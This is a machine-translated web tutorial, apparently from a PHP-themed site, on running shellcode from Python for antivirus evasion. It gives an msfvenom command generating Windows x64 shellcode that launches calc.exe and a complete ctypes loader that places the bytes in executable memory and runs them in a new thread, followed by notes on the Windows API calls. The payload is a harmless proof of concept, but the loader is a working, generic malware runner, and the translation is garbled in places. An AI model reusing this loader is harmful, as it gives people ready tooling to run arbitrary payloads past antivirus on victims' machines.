Maison > Article > développement back-end > Quelles sont les méthodes de chargement et d'exécution du shellcode de la technologie antivirus Python ?
Générez d'abord un shellcode via la commande suivante, utilisez l'option msfvenom -p pour spécifier le paylaod, sélectionnez ici les paramètres reçus par les modules windows/x64 et exec. Utilisez calc.exe pour faire apparaître la calculatrice. L'option -f est utilisée pour exécuter le langage compilé du shellcdoe généré.
msfvenom -p windows/x64/exec CMD='calc.exe' -f py
Le programme est :
# -*- coding:utf-8 -*- import ctypes from ctypes import * from ctypes.wintypes import * import sys PAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x3000 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) VirtualAlloc = windll.kernel32.VirtualAlloc RtlMoveMemory = windll.kernel32.RtlMoveMemory CreateThread = windll.kernel32.CreateThread WaitForSingleObject = windll.kernel32.WaitForSingleObject OpenProcess = windll.kernel32.OpenProcess VirtualAllocEx = windll.kernel32.VirtualAllocEx WriteProcessMemory = windll.kernel32.WriteProcessMemory CreateRemoteThread = windll.kernel32.CreateRemoteThread shellcode = bytearray( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41" b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65" b"\x78\x65\x00" ) def run1(): VirtualAlloc.restype = ctypes.c_void_p #重载函数返回类型为void p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存 buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针 RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中 h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程 WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件 if __name__ == "__main__": run1()
Importez le module, et le programme alloue de la mémoire et peut effectuer des opérations de lecture et d'écriture.
import ctypes from ctypes import * from ctypes.wintypes import * import sys PAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x3000 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
Code exécutable régional, lisible et inscriptible
PAGE_EXECUTE_READWRITE = 0x00000040
Allouer de la mémoire
MEM_COMMIT = 0x3000
Donner au processus toutes les autorisations
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
Appeler l'api Windows
VirtualAlloc = windll.kernel32.VirtualAlloc RtlMoveMemory = windll.kernel32.RtlMoveMemory CreateThread = windll.kernel32.CreateThread WaitForSingleObject = windll.kernel32.WaitForSingleObject OpenProcess = windll.kernel32.OpenProcess VirtualAllocEx = windll.kernel32.VirtualAllocEx WriteProcessMemory = windll.kernel32.WriteProcessMemory CreateRemoteThread = windll.kernel32.CreateRemoteThread
Attribuer le shellcode généré précédemment au paramètre shellcode et utiliser la fonction bytearray pour le traiter avant d'attribuer
shellcode = bytearray( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41" b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65" b"\x78\x65\x00" )
Créez une méthode et appelez-la, demandez de la mémoire, pointez le shellcode vers le pointeur de mémoire alloué, copiez le shellcode dans la mémoire, créez un événement de thread et exécutez :
def run1(): VirtualAlloc.restype = ctypes.c_void_p #重载函数返回类型为void p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存 buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针 RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中 h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程 WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件
VirtualAlloc est utilisé pour demander de l'espace mémoire et est une fonction de l'API Windows. La déclaration est :
LPVOID VirtualAlloc{ LPVOID lpAddress, // 要分配的内存区域的地址 DWORD dwSize, // 分配的大小 DWORD flAllocationType, // 分配的类型 DWORD flProtect // 该内存的初始保护属性 };
RtlMoveMemory copie la mémoire de la mémoire spécifiée vers une autre mémoire. La syntaxe est :
VOID RtlMoveMemory( VOID UNALIGNED *Destination, const VOID UNALIGNED *Source, SIZE_T Length );
Paramètres :
Destination : Pointeur vers l'adresse de destination du déplacement.
Source : Pointeur vers l'adresse mémoire à copier.
Longueur : Spécifiez le nombre d'octets à copier.
CreateThread est une fonction fournie par Microsoft dans l'API Windows pour créer un nouveau thread. Cette fonction crée un nouveau thread basé sur le thread principal.
Prototype de fonction :
HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD SIZE_T dwStackSize,//initialstacksize LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction LPVOID lpParameter,//threadargument DWORD dwCreationFlags,//creationoption LPDWORD lpThreadId//threadidentifier )
Signification du paramètre
lpThreadAttributes : Pointeur vers une structure de type SECURITY_ATTRIBUTES. Ce paramètre est ignoré sous Windows 98. Dans Windows NT, NULL utilise la sécurité par défaut et ne peut pas être hérité par les threads enfants. Sinon, une structure doit être définie pour initialiser son membre bInheritHandle sur TRUE.
dwStackSize, définissez la taille initiale de la pile en octets. Si elle est égale à 0, alors la même taille d'espace de pile que le thread appelant cette fonction sera utilisée par défaut. Dans tous les cas, Windows étend dynamiquement la taille de la pile selon les besoins.
lpStartAddress, pointeur vers la fonction thread, sous la forme : @nom de la fonction, il n'y a pas de limite sur le nom de la fonction
lpParameter : Le paramètre passé à la fonction thread est un pointeur vers la structure Quand non. les paramètres doivent être transmis, c'est NULL .
dwCreationFlags : Indicateurs de fil de discussion, les valeurs disponibles sont les suivantes
(1) CREATE_SUSPENDED (0x00000004) : Créer un fil de discussion suspendu,
(2) 0 : Indique l'activation immédiatement après la création.
(3) STACK_SIZE_PARAM_IS_A_RESERVATION (0x00010000) : Le paramètre dwStackSize spécifie la taille initiale de la pile réservée, sinon, dwStackSize spécifie la taille soumise. Cette valeur de balise n'est pas prise en charge sous Windows 2000/NT et Windows Me/98/95.
lpThreadId : Enregistrez l'identifiant du nouveau fil de discussion.
WaitForSingleObject est une fonction de l'API Windows. Lorsque le handle est fermé alors que l’attente est toujours en attente, le comportement de la fonction n’est pas défini. Le handle doit avoir un accès SYNCHRONIZE.
Déclaration :
DWORD WINAPI WaitForSingleObject( __in HANDLE hHandle, __in DWORD dwMilliseconds );
hHandle[in] Descripteur d'objet. Vous pouvez spécifier une série d'objets, tels qu'un événement, un travail, une notification de ressource mémoire, un mutex, un processus, un sémaphore, un thread, un minuteur d'attente, etc.
dwMilliseconds[in] Intervalle de temps, l'unité est en millisecondes (millisecondes). Si vous spécifiez une valeur non nulle, la fonction est dans un état d'attente jusqu'à ce que l'objet marqué par hHandle soit déclenché ou que le délai expire. Si dwMilliseconds vaut 0, l'objet n'est pas signalé, la fonction n'entre pas en état d'attente, elle revient toujours immédiatement. Si dwMilliseconds est INFINITE, la fonction ne reviendra pas tant que l'objet n'est pas déclenché.
Exécutez le programme pour faire apparaître la calculatrice avec succès.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!